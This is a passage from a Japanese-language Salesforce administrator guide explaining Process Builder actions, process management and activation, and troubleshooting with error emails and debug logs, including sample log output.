レコードの作成および更新をしやすくするために組織でクイックアクションを
使用している場合は、そのアクションをプロセスでも使用できます。これらの
クイックアクションをプロセスで使用する場合、アクションのレイアウトの一
部である項目に対してのみ値を設定できます。このようなアクションをまだ作
成していない場合は、「グローバルクイックアクションの作成」 (ページ6265)ま
たは「オブジェクト固有のクイックアクションの作成」 (ページ6268)で詳細を確
認してください。
アクションを作成し、種別に [クイックアクション] を選択したら、関係する項
目を入力してアクションをプロセスに追加します。新規または更新済みのレコー
ドは、(レコードを作成または編集することによって) プロセスを開始したユーザ
が作成または更新したかのように表示されます。
1. このアクションに名前を入力します。

このテキストはキャンバスに表示され、このアクションをプロセス内の他の
アクションから区別するのに役立ちます。名前は、キャンバスのサイズに合
わせて切り捨てられます。

2. 使用するアクションの種別を絞り込んで指定します。

検索対象検索の絞り込み
条件

組織内のすべてのグローバルアクション。検索する必要があるアクションの種別を選
択して、さらに絞り込みます。

グローバルアク
ション

特定の [オブジェクト名] に関連付けられた、組織内のすべてのオブジェクト固有のア
クション。グローバルアクションをオブジェクト別に絞り込むことはできません。

オブジェクト

[レコードを作成] や [活動の記録] などの種別に基づいた、組織内のすべてのオブジェク
ト固有のアクションとグローバルアクション。

種別

• [グローバルアクション] または [種別] を選択した場合は、[種別]に使用する特定の種別のクイックアク
ションを選択します。

• [オブジェクト] を選択した場合は、[オブジェクト]に絞り込み条件となるオブジェクトを検索し、選択
します。

3. [アクション] では、使用するアクションを検索し、選択します。
4. アクションに項目値を設定します。
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自動的に表示される行は、アクションの必須項目を表します。アクションの省略可能な項目に値を設定す
るには、行を追加します。

値を設定する項目を選択します。ドロップダウンリストを絞り込むには、項目の名前を入
力します。

項目

値を設定できるのは、アクションのレイアウトに含まれている項目のみです。

使用する値の型を選択します。使用可能な型は選択した項目によって異なります。種類

テキスト入力項目を使用して項目の値を手動で入力するか、項目ピッカーを使用して関連
レコードの項目値を選択して、値を設定します。詳細は、「プロセスビルダーでの値の設
定」 (ページ 5630)を参照してください。

値

5. [保存] をクリックします。

プロセスからのフローの起動

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロセスを作成、編集、
参照する
• 「Force.com Flow の管

理」

および

「すべてのデータの参
照」

プロセスから自動起動フローを開始して、コードを記述せずに複雑なビジネス
プロセス (ロジックを実行するフローを作成し、イベントからプロセス経由でこ
のフローをトリガする) を自動化します。
プロセスからフローを起動するには、フローを作成し、有効化する必要があり
ます。フローは自動起動である必要があります。詳細は、「フローの作成」
(ページ 5706)を参照してください。
1. このアクションに名前を入力します。

このテキストはキャンバスに表示され、このアクションをプロセス内の他の
アクションから区別するのに役立ちます。名前は、キャンバスのサイズに合
わせて切り捨てられます。

2. [フロー] では、このプロセスから起動するフローを検索し、選択します。
使用できるのは、有効な自動起動フローのみです。

3. 必要に応じて、[行を追加] をクリックして、フロー変数に値を設定します。

値を設定するフロー変数名の入力を開始するか、 をクリッ
クしてドロップダウンリストからフロー変数を選択します。
[入力/出力種別] が [入力のみ] または [入力および出力] に設
定されている任意のフロー変数に値を設定できます。

フロー変数

設定する値の型を選択します。たとえば、Text コレクション
変数の値を手動で入力する場合は [文字列]、sObject 変数のレ
コードの値を使用する場合は [参照] を選択します。

型
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フロー変数の値を設定します。値
• コレクション変数の場合、テキスト入力項目を使用して値を指定します。値はコレ

クション変数のデータ型と一致する必要があります。
• sObject 変数の場合、項目ピッカーを使用して ID 項目を選択します。ID は、オブジェ

クト種別が sObject 変数のオブジェクト種別と一致するレコードに対応する必要が
あります。

• sObject コレクション変数の場合、項目ピッカーを使用して関連リストを選択しま
す。選択したレコードのオブジェクト種別が、sObject コレクション変数のオブジェ
クト種別と一致する必要があります。たとえば、sObject コレクション変数に、プロ
セスを開始した取引先に関連付けられているすべての子取引先責任者レコードを入
力します。

メモ: これらのレコードの項目値を持つ sObject コレクション変数にフローで
値を入力しようとするときに、関連リストが空の場合は、プロセスが失敗し
ます。

4. [保存] をクリックします。

プロセスからのメールの送信

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロセスを作成する
• 「すべてのデータの参

照」

メールアラートを使用して、プロセスからメールを簡単に送信します。メール
アラートはプロセスビルダー外で設定され、メールの標準テキスト、受信者リ
スト、テンプレートが含まれます。
プロセスからメールを送信するには、メールアラートを作成 (ページ5952)する必
要があります。
メールアラートは、プロセスが関連付けられた同じオブジェクトに関連付けら
れている場合にのみ使用できます。プロセスを開始したレコードは、メールア
ラートで使用される差し込み項目の開始点として使用されます。
アクションを作成し、種別に [メールアラート] を選択したら、関連する項目を
入力してアクションをプロセスに追加します。
1. このアクションに名前を入力します。

このテキストはキャンバスに表示され、このアクションをプロセス内の他の
アクションから区別するのに役立ちます。名前は、キャンバスのサイズに合
わせて切り捨てられます。

2. [メールアラート]には、メールの送信に使用するメールアラートの 2 文字以
上の検索文字を入力します。

3. [保存] をクリックします
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プロセスからのレコードの承認申請

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロセスを作成、編集、
参照する
• 「Force.com Flow の管

理」

および

「すべてのデータの参
照」

プロセスを開始したレコードを承認申請します。
アクションを作成し、種別に [承認申請] を選択したら、関係する項目を入力し
てアクションをプロセスに追加します。
承認申請できるのは、プロセスを開始したレコードのみです。関連レコードを
承認申請することはできません。
1. このアクションに名前を入力します。

このテキストはキャンバスに表示され、このアクションをプロセス内の他の
アクションから区別するのに役立ちます。名前は、キャンバスのサイズに合
わせて切り捨てられます。

2. [承認プロセス]では、デフォルトの承認プロセスまたは特定の承認プロセス
のどちらを使用してレコードを承認申請するのかを指定します。
次の場合、プロセスは失敗します。
• レコードがデフォルトの承認プロセスに申請され、レコードのオブジェ

クト種別に有効な承認プロセスが存在しない。
• レコードがデフォルトの承認プロセスに申請され、レコードのオブジェ

クト種別のどの承認プロセスの条件も満たしていない。
• レコードが特定の承認プロセスに申請され、開始条件を満たしていない。

3. レコードを特定の承認プロセスに申請する必要がある場合は、次の操作を実
行します。
a. 承認プロセスを検索し、選択します。
b. 承認プロセスの開始条件をスキップする必要があるかどうかを指定します。

4. [申請者] では、承認申請に関する通知を受信するユーザを特定します。

説明値

レコードを作成または編集して、プロセスをトリガしたユーザ。現在のユーザ

承認申請しているレコードまたは他のレコードの項目値に保存されているユーザ
ID。

レコードのユーザ項
目

組織内の特定のユーザ。その他のユーザ

申請者が、実行される承認プロセスの有効な初期申請者でない場合は、プロセスが失敗します。このオブ
ジェクトに関連する承認プロセスの初期申請者に、このプロセスをトリガした可能性のあるすべてユーザ
が含まれていることを確認します。承認プロセスの初期申請者の設定についての詳細は、「標準ウィザー
ドを使用した承認プロセスの作成」 (ページ 5897)を参照してください。

5. 必要に応じて、申請コメントを入力します。差し込み項目または数式を参照しないでください。
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申請コメントは、指定したレコードの承認履歴に表示されます。テンプレートで
{!ApprovalRequest.Comments} 差し込み項目を使用する場合は、最初の承認申請メールにもこのテキ
ストが表示されます。

6. [保存] をクリックします。

プロセスからのレコードの更新

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロセスを作成、編集、
参照する
• 「Force.com Flow の管

理」

および

「すべてのデータの参
照」

値を手動で入力するか、関連レコードの値を使用して、プロセスを開始したレ
コードに関係する 1 つ以上のレコードを更新します。
アクションを作成し、アクション種別に [レコードを更新] を選択したら、関係
する項目を入力してアクションをプロセスに追加します。レコードの [最終更新
者] 項目は、レコードを作成または編集することでプロセスを開始したユーザ
に設定されます。
1. このアクションに名前を入力します。

このテキストはキャンバスに表示され、このアクションをプロセス内の他の
アクションから区別するのに役立ちます。名前は、キャンバスのサイズに合
わせて切り捨てられます。

2. [レコードタイプ]では、更新する必要があるレコードを選択し、[選択]をク
リックします。
更新できるのは、プロセスを開始したレコードまたはそれに関連するレコー
ドのみです。たとえば、[Case].ContactId は参照できますが、
[Case].Contact.AccountId は参照できません。
• プロセスを開始したレコードを更新するには、該当するラジオボタンを

クリックします。たとえば、プロセスがケースレコードに基づいている
場合、[プロセスを開始したケースレコードを選択]の横にあるラジオボタ
ンをクリックします。

• プロセスを開始したレコードに関連するレコードを更新するには、該当するラジオボタンをクリック
し、ドロップダウンリストでいずれかの項目名を選択します。
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「ID」で終わる項目を選択すると、1 つのレコードを選択することになります。この項目名は、元のレ
コードの参照項目に対応します。参照項目についての詳細は、「カスタム項目のデータ型」 (ページ5380)

を参照してください。
たとえば、ケースレコードによってプロセスが開始し、[取引先 ID]を選択すると、ケースに関連付け
られた取引先がこのアクションで更新されます。

「ID」で終わらない複数項目を選択すると、プロセスを開始したレコードに関連するオブジェクト種別
のすべてのレコードを更新することになります。この複数項目は、元のレコードの子レコードに対応し
ます。子レコードは、元のレコードの関連リストに表示されることがあります。
たとえば、[CaseComments] を選択すると、ケースに関連付けられたすべてのケースコメントがこのアク
ションで更新されます。

• 関連レコードの項目を更新するには、横に が表示された項目 (「ID」で終わる) をクリックして、そ
のレコードの項目にアクセスします。
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たとえば、ケースレコード (1) を評価するプロセスで、ケースの親取引先に関連するすべての取引先責
任者を更新してみましょう。これには、[取引先 ID] (2) をクリックし、[取引先責任者] (3) をクリック
してから、[選択] をクリックします。

3. 必要に応じて、更新するレコードを絞り込む条件を指定します。
たとえば、プロセスが親ケースの状況を更新する場合、状況が [保留中] に設定されている親ケースは更新
しないように条件を指定します。

メモ: レコードの更新条件を定義する場合、次の参照はできません。
• ロングテキストエリア項目の参照
• リッチテキスト項目の参照
• 子レコードの関連項目の参照

たとえば、[Case].ContactId は参照できますが、[Case].Contact.AccountId は参照できま
せん。
通常、複数の検索条件を定義する場合、検索条件ロジックはデフォルトの AND になります。ただ
し、複数の検索条件で同じ項目が選択され、「次の文字列と一致する」演算子が使用されている場
合、検索条件は OR で結合されます。たとえば、「種別次の文字列に一致する問題」(1)、「種別次
の文字列に一致する機能要求」(2)、および「エスカレーション済み次の文字列に一致する true」(3)

のケースかどうかを検索条件でチェックします。実行時に、これらの検索条件は (1 OR 2) AND

3 のように結合されます。
プロセスを開始したレコードを更新する場合、プロセスビルダーは暗黙的な検索条件 ([オブジェク
ト].Id equals myCurrentVariable.Id) を背景で自動的に追加します。「次の文字列と一致す
る」演算子を使用してレコードの ID を値に設定する検索条件を追加する場合、実行時に [オブジェ
クト].Id equals 検索条件は OR 検索条件ロジックを使用して結合されます。たとえば、プロセ
スを開始したケースを更新し、検索条件 ([Case].Id equals 500D00000044XgV) を追加します。
実行時に、この検索条件は暗黙的な検索条件 ([Case].Id equals myCurrentVariable.Id) と
OR で結合されます。
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a. [更新されるレコードがすべての条件を満たす] を選択します。
b. 更新されるレコードの絞り込みに使用する条件を設定します。

値を評価する項目を選択します。項目

使用可能な演算子は、項目のデータ型によって異なります。演算子

使用可能な値の型は、項目のデータ型によって異なります。詳細は、「プロセスビルダー
の値の種別」 (ページ 5631)を参照してください。

型

項目を評価する値を特定します。値

たとえば、プロセスが取引先レコードを更新する場合、年間収益 (1) が 1,000,000 ドル (3) より大きい (2) 取
引先のみを更新するように選択できます。

4. 新しい項目値を指定します。

値を設定する項目を選択します。ドロップダウンリストを絞り込むには、項目の名前を入力し
ます。

項目

項目に値を割り当てることができるのは、[オブジェクト] 項目で特定したレコードのみです。
関連レコードの項目を更新するには、別の [レコードを更新] アクションを使用します。

使用する値の型を選択します。使用可能な型は選択した項目によって異なります。種類

項目の値を設定します。たとえば、値の型として Formula を選択した場合、[数式を構築...] をク
リックして項目の数式の値を作成します。

値

5. [保存] をクリックします。
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プロセスからの Apex コードのコール

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロセスを作成、編集、
参照する
• 「Force.com Flow の管

理」

および

「すべてのデータの参
照」

プロセスから Apex をコールして、カスタマイズされた機能をプロセスに追加し
ます。
アクションを作成し、種別に [Apex] を選択したら、関連する項目を入力してア
クションをプロセスに追加します。

重要: このアクションをプロセスで使用するには、開発者が
@InvocableMethod を使用していずれかのクラスのメソッドにアノテー
ションを付加する必要があります。詳細は、『Force.com Apex コード開発者
ガイド』の「InvocableMethod アノテーション」を参照してください。

Apex クラスおよびプロセスを実行するのは、プロセスをトリガしたアクション
を持つユーザです。
1. このアクションに名前を入力します。

このテキストはキャンバスに表示され、このアクションをプロセス内の他の
アクションから区別するのに役立ちます。名前は、キャンバスのサイズに合
わせて切り捨てられます。

2. 結果を絞り込むために Apex クラスの名前を入力することによって Apex クラ
スを選択するか、ドロップダウンリストから Apex クラスを選択します。

3. クラスに呼び出し可能な変数が含まれている場合は、手動で値を入力する
か、関連レコードの項目値を参照することができます。
値は変数のデータ型と一致する必要があります。値を設定できるのは sObject

およびプリミティブ型リスト変数のみです。
• sObject 変数および sObject リスト値の値を設定するには、オブジェクトの関連レコード (たとえば、プロ

セスを開始した取引先オブジェクトに関連付けられているすべての子取引先責任者レコードなど) を参
照します。

• プリミティブリスト変数 (String、Integer、Time など) の値を設定するには、値の型として String を選択し、
テキスト入力項目に値を入力します。リストに複数の値を渡すことはできません。

4. [保存] をクリックします。

メモ: プロセスで Apex アクションを定義してから、標準項目参照 (User.Phone など) を追加して Apex

クラスを変更すると、Apexアクションがプロセスに表示されなくなるため、再度追加する必要があり
ます。
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複数の条件でのアクション実行

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロセスを作成、編集、
参照する
• 「Force.com Flow の管

理」

および

「すべてのデータの参
照」

特定の条件が満たされ、関連付けられたアクションを実行した後で、プロセス
を停止するか継続するかを選択します。
条件および関連付けられたアクショングループごとに、アクションの実行後に
プロセスを停止するか、次に定義された条件を続けて評価するかを選択できま
す。
1. 次の条件が定義済みであること、アクショングループにルール適用時のアク

ションのみが含まれていることを確認します。アクショングループにスケ
ジュール済みアクションが含まれている場合には、次の条件を評価できませ
ん。

2. アクション実行後の処理を変更するには、[停止]をクリックするか(1)、[次の
条件を評価]をクリックします(2)。最初は、各アクショングループはアクショ
ンを実行した後に停止するように設定されています。

3. 変更を保存します。選択内容はキャンバスに表示されます。
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プロセス管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロセスを管理する
• 「Force.com Flow の管

理」

および

「すべてのデータの参
照」

プロセスビルダーでは、すべてのプロセスを 1 か所で表示、管理できます。
プロセスを管理するには、[設定] から、[クイック検索]ボックスに「プロセスビ
ルダー」と入力し、[プロセスビルダー] を選択します。
プロセス管理ページから、次の操作を実行できます。
• プロセスを作成する
• プロセスを編集する
• 無効なプロセスを削除する
• 既存のプロセスの「プロセス状況」を確認する
• 名前、説明、オブジェクト、最終更新日、状況別にプロセスを並び替える

メモ:  Salesforce ナレッジ記事タイプオブジェクトを作成し、そのオブジェク
トを使用してプロセスをトリガする場合、オブジェクト名はプロセス管理
ページに表示されません。

プロセスを開いたら、次の操作を実行できます。
• プロセスをコピーする
• プロセスを有効化または無効化する
• プロセスのプロパティを編集する
フロー管理ページの [一時停止中および待機中のインタビュー] リストから、次
の操作を実行できます。
• まだ実行されていないスケジュール済みアクションを監視する
• 待機する必要がなくなったスケジュール済みアクションのグループを削除する

プロセス状況

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

各プロセスには、プロセスを編集、有効化、削除できるかどうかを特定する状
況があります。

編集可能?説明状況

いいえプロセスを有効化できます。
有効なプロセスに変更を加えることはできません。た
だし、コピーは可能です。コピーしたプロセスに必要
な変更を加えてから、有効化します。必要に応じて、
元のプロセスを忘れずに無効化してください。

有効

はいプロセスは無効であり、有効化することはできません。無効
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プロセスのコピー

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロセスを有効化または
無効化する
• 「Force.com Flow の管

理」

および

「すべてのデータの参
照」

既存のプロセスに変更を加える場合は、そのプロセスのコピーを保存します。
コピーは、独自のバージョン履歴を持つ新しい無効なプロセス、または既存の
プロセスの新しい無効なバージョンとして保存できます。
有効なプロセスに変更を加える場合、いくつかのオプションがあります。
• プロセスを無効化し、変更を加えてから再度有効化する。
• 無効なバージョンとしてコピーし、変更を加えてから新しいバージョンを有

効化する。元のバージョンは自動的に無効化されます。
• 新しい無効なプロセスとしてコピーし、変更を加えてから有効化する。元の

プロセスは自動的に無効化されないため、両方のプロセスを有効にするのが
適切かどうかを検討してください。

1 つのプロセスにはバージョンを最大 50 個まで作成できますが、有効化できる
バージョンは 1 つのみです。
1. [設定] から、[クイック検索] ボックスに「プロセスビルダー」と入力し、[プ

ロセスビルダー] を選択します。
2. 有効化するプロセスまたはプロセスのバージョンを開きます。
3. [コピー] をクリックします。
4. 現在のプロセスのバージョンを作成するか、独自のバージョン履歴を持つ

まったく新しいプロセスを作成できます。
5. 名前、API 名、説明を入力します。
6. [保存] をクリックします
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プロセスの有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロセスを有効化または
無効化する
• 「Force.com Flow の管

理」

および

「すべてのデータの参
照」

および

「アプリケーションの
カスタマイズ」

新しいまたは改訂されたプロセスは、有効化されるまでレコードを評価するた
めに使用されることはありません。
プロセスの有効化後は、そのプロセスを編集できなくなります。ただし、[コ
ピー]をクリックして、プロセスを新しい無効なプロセスとして保存することは
できます。
次の場合は、プロセスを有効化できません。
• 定義済みの条件ノードが 1 つも存在しない。
• 定義済みのルール適用時のアクションまたはスケジュール済みアクションが

1 つも存在しない。
1. [設定] から、[クイック検索] ボックスに「プロセスビルダー」と入力し、[プ

ロセスビルダー] を選択します。
2. 有効化するプロセスまたはプロセスのバージョンを開きます。
3. [有効化] をクリックします。

有効なバージョンがすでに存在するプロセスのバージョンを有効化すると、
以前に有効化されたバージョンが自動的に無効化されます。そのバージョン
を後で表示するには、プロセスのバージョン履歴を参照します。

プロセスを有効化したら、プロセスを開始するテストレコードを作成または編
集して、正常に動作することを確認します。その場合、プロセスが設計どおり
に動作することを確認できたら、テストレコードを削除するか以前の値に戻す
ことを忘れないでください。
レコードを作成または編集したときにレコードを評価するプロセスの使用を後
から Salesforce で停止する場合は、有効なプロセスを開き、[無効化] をクリック
します。
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プロセスバージョンの削除

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロセスを削除する
• 「Force.com Flow の管

理」

および

「すべてのデータの参
照」

定義済みのプロセスバージョンを使用する必要がなくなったら、削除できます。
有効化されたプロセスを削除するには、まず無効化する必要があります。[有効]

状況のプロセスバージョンは削除できません。別のプロセスが呼び出し可能な
プロセスを参照している場合、その呼び出し可能なプロセスを削除できません。
プロセスにスケジュール済みアクションが存在する場合は、待機中のアクショ
ンが実行または削除されるまでプロセスを削除することはできません。
1. [設定] から、[クイック検索] ボックスに「プロセスビルダー」と入力し、[プ

ロセスビルダー] を選択します。
2. バージョンを削除するプロセスの名前をクリックします。
3. 削除するバージョンで、[削除] をクリックします。

プロセスに存在するバージョンが 1 つのみで、そのバージョンを削除する
と、プロセス全体が削除されます。

4. [OK] をクリックします。

プロセスの待機中のスケジュール済みアクションの監視

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

未実行のスケジュール済
みアクションを表示する
• 「設定・定義を参照す

る」

どのプロセスがスケジュール済みアクションの実行をまだ待機しているかを確
認するには、フロー管理ページの [一時停止中および待機中のインタビュー] リ
ストを参照します。
1. [設定] から、[クイック検索] ボックスに「フロー」と入力し、[フロー] を選

択します。
2. [一時停止中および待機中のインタビュー] リストが表示されるまでスクロー

ルダウンします。
3. [一時停止中および待機中のインタビュー] リストのスケジュール済みアクショ

ンを表示するビューを作成します。次の項目を表示することをお勧めしま
す。

• [フロー名] (1) は、プロセスの [プロセス名] に対応します。
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• [一時停止日付] (2) は、アクショングループのスケジュールの開始日時を示します。
• [現在の要素] (3) は、Salesforce が実行を待機しているスケジュール済みアクションのグループを示します。
• [種別] (4) は、一時停止中または待機中のインタビューの種別を示します。スケジュール済みアクションの

実行を待機しているプロセスは、Workflow タイプです。
[現在の要素] には、myWait_myRule_N と表示されます。ここで、N は、関連付けられている条件とアクショ
ングループの番号です。たとえば、[現在の要素] に myWait_myRule_2 と表示される場合、プロセスの 2 番目
の条件に関連付けられたスケジュール済みアクションのグループの実行を待機していることを示します。

関連トピック:

未実行のスケジュール済みアクションの削除

未実行のスケジュール済みアクションの削除

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

未実行のスケジュール済
みアクションを削除する
• 「Force.com Flow の管

理」

関連付けられたプロセスを削除する必要があるなどの理由で、プロセスのスケ
ジュール済みアクションの実行を待機する必要がなくなった場合は、未実行の
スケジュール済みアクションのグループを削除できます。
1. [設定] から、[クイック検索] ボックスに「フロー」と入力し、[フロー] を選

択します。
[待機中のインタビュー] 関連リストに、組織の未実行のスケジュール済みア
クションと、待機中のフローインタビューが表示されます。

2. 削除する未実行のスケジュール済みアクションのグループごとに、[削除] を
クリックします。
プロセスの [プロセス名]に対応する [フロー名]項目別に、正しい行を特定
できます。

関連トピック:

プロセスの待機中のスケジュール済みアクションの監視
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プロセスのトラブルシューティング

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

プロセスビルダーに表示されるエラーメッセージと、プロセスが失敗したとき
に受信するメールを使用して、プロセスを処理するときに発生した問題の解決
に役立てます。それ以外が失敗した場合はすべて、プロセスの Apex デバッグロ
グを確認します。

プロセスビルダーのエラーの特定
条件ノードおよびアクションのAPI名は、バックグラウンドで作成されます。
プロセスの作成時または更新時に、問題の発生場所の特定に役立てるため、
それらの名前を含むエラーメッセージが表示されることがあります。
プロセスでレコード評価の開始後に発生したエラー
プロセスをトリガするアクション (レコードの作成など) をユーザが実行し、
そのプロセスに失敗すると、「ワークフローアクションでフローのトリガに
失敗しました」というエラーを含むページがユーザに表示されます。さらに、プロセスを有効化したシス
テム管理者に、詳細を示すメールが送信されます。
デバッグログを使用したプロセスのトラブルシューティング
実行終了後に実行プロセスの詳細情報を確認するには、デバッグログを使用します。たとえば、レコード
がプロセスの条件を満たしてもプロセスがトリガされない場合や、実行中のプロセスの順序を把握したり
する場合に、デバッグログを使用します。

関連トピック:

プロセスビルダーのエラーメッセージ

プロセスビルダーのエラーの特定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

条件ノードおよびアクションのAPI名は、バックグラウンドで作成されます。プ
ロセスの作成時または更新時に、問題の発生場所の特定に役立てるため、それ
らの名前を含むエラーメッセージが表示されることがあります。

説明API 名

field は、参照される項目の名前です。
myVariable_current は、プロセスの開始時に
おけるレコードの項目値を指します。
たとえば、myVariable_current.Idは、レコー
ドがプロセスを開始した時点における ID のレ
コードの項目値に対応します。

myVariable_current.field
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説明API 名

fieldは、参照される項目の名前です。myVariable_oldは、プロ
セスを開始したレコードの直前の値を指します。
たとえば、myVariable_old.Id は、レコードがプロセスを開始し
た直前の ID のレコードの項目値に対応します。

myVariable_old.field

例:

The element has an invalid reference to “myVariable_current.AnnualRevenue”.

myVariable_current.AnnualRevenue は、レコードがプロセスを開始した時点における項目
AnnualRevenue の値を指します。

メモ: エラーまたは警告メッセージで、「プロセス」ではなく「フロー」と示される場合がありま
す。これらのメッセージも、プロセスに適用されます。

関連トピック:

プロセスビルダーのエラーメッセージ

プロセスでレコード評価の開始後に発生したエラー

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

プロセスをトリガするアクション (レコードの作成など) をユーザが実行し、そ
のプロセスに失敗すると、「ワークフローアクションでフローのトリガに失敗
しました」というエラーを含むページがユーザに表示されます。さらに、プロ
セスを有効化したシステム管理者に、詳細を示すメールが送信されます。
メールには、失敗した要素、その失敗のエラーメッセージ、プロセスの条件と
実行されたアクションのリストが含まれます。件名は、会社名 からの未対応の
処理エラー: プロセス名 --- エラー となります。

例:

Unhandled process fault from Acme Wireless : LeadConvert :
cannot reference converted...
// The error occurred when user 00DD00000007dHy triggered the
LeadConvertEmail process
Encountered unhandled fault when running process
LeadConvertEmail/301D00000004HxZ
exception by user/organization: 00DD00000007dHy/{4}

Error
// The error occurred at the first action (A1) that’s
associated with the
// first criteria node (myRule_1).
An error occurred at element myRule_1_A1.
cannot reference converted lead .
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This report lists the elements that the flow interview executed.

Flow Details
Flow Name: LeadConvertEmail
Type: Workflow
Version: 1
Status: ACTIVE

Flow Details
Start time(GMT): Thu Apr 09 21:52:14 GMT 2015
End time(GMT): Not Yet Finished
Duration: 0 seconds

// The process evaluated the first rule and tried to execute its action. The element
// that the process failed to executed, myRule_1_A1, is an Email Alert action.
Decision: myDecision
Email Alerts: myRule_1_A1

関連トピック:

プロセスビルダーのエラーメッセージ

デバッグログを使用したプロセスのトラブルシューティング

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

実行終了後に実行プロセスの詳細情報を確認するには、デバッグログを使用し
ます。たとえば、レコードがプロセスの条件を満たしてもプロセスがトリガさ
れない場合や、実行中のプロセスの順序を把握したりする場合に、デバッグロ
グを使用します。

ヒント: 検索条件に WORKFLOW カテゴリの FINER イベントを含めます。詳細
は、「デバッグログレベル」 (ページ 6877)を参照してください。

デバッグログを使用してプロセスをトラブルシューティングする場合には、次
の点を考慮してください。
• プロセスビルダーで作成されたプロセスは、デバッグログではフローおよび

ワークフロールールとして表示されます。生成される名前はプロセス名と似
ている場合がありますが、一対一では対応しません。

• プロセスは、Workflow タイプのフローとして表示されます。
• ブロック単位で実行されるルール適用時のアクションは、フロー内でまとめられます。ブロックの途中に

ある 1 つのアクションに失敗すると、後続のアクションが実行されない場合があります。
• スケジュール済みアクションは、待機要素の後で実行されます。アクションは、プロセス再開後のルール

適用時のアクションと同じように実行されます。
• WF_CRITERIA_BEGIN および WF_CRITERIA_END は、プロセスで定義される条件ではなく、常に true に設

定されるワークフロールール条件を指します。
• プロセスビルダーの要素は、フローのデバッグイベントと次のように対応します。
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フローのデバッグイベントプロセスビルダー要
素

FLOW_RULE_...条件
FLOW_ELEMENT_...レコードを作成
FLOW_ELEMENT_...レコードを更新
FLOW_ACTIONCALL_...Chatter に投稿
FLOW_ACTIONCALL_...承認申請
FLOW_ACTIONCALL_...メールアラート
FLOW_ACTIONCALL_...フロー
FLOW_ACTIONCALL_...Apex

FLOW_WAIT_...スケジュール

例: ルール適用時の [Apex] アクションを含むプロセスのデバッグ
この例では、ルール適用時の [Apex] アクションを含むプロセスを取り上げます。
最初のスニペットでは、次のことがわかります。
• このプロセスは「L104」という名前のリードによってトリガされている。
• プロセス名「Apex Say Hello」は、ログ「Apex_Say_Hello301xx000000001Y」で使用される名前に対応する。

名前の最後に追加されている数値は、プロセスバージョンの ID です。
• プロセスは、レコードが作成または編集されたときにトリガされるように設定されている

(ON_ALL_CHANGES)。
17:07:29.086 (86806000)|EXECUTION_STARTED
17:07:29.086 (86928000)|CODE_UNIT_STARTED|[EXTERNAL]|Workflow:Lead
17:07:29.113 (113974000)|WF_RULE_EVAL_BEGIN|Assignment
17:07:29.114 (114043000)|WF_SPOOL_ACTION_BEGIN|Assignment
17:07:29.114 (114060000)|WF_ACTION|.
17:07:29.114 (114071000)|WF_RULE_EVAL_END
17:07:29.114 (114093000)|WF_RULE_EVAL_BEGIN|Workflow
17:07:29.114 (114178000)|WF_CRITERIA_BEGIN|

[Lead: L104 00Qxx000002S8vh]|Apex_Say_Hello301xx000000001Y|
01Qxx0000002nea|ON_ALL_CHANGES|0

このセクションでは、プロセスはレコードの現在の値と変更前の値を比較しています。「myVariable_current」
には、レコードの現在の項目値がすべて含まれます。「myVariable_old」には、レコードの変更直前の項目
値がすべて含まれます。「myVariable_old」には値はありません (null)。そのため、プロセスは新しく作成さ
れたリードを評価します。
17:07:29.114 (114553000)|WF_FORMULA|

Formula:ENCODED:[treatNullAsNull]true|Values:
17:07:29.114 (114571000)|WF_CRITERIA_END|

true
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17:07:29.132 (132792000)|WF_SPOOL_ACTION_BEGIN|
Workflow

17:07:29.132 (132881000)|WF_ACTION|
Flow Trigger: 1;

17:07:29.132 (132897000)|WF_RULE_EVAL_END
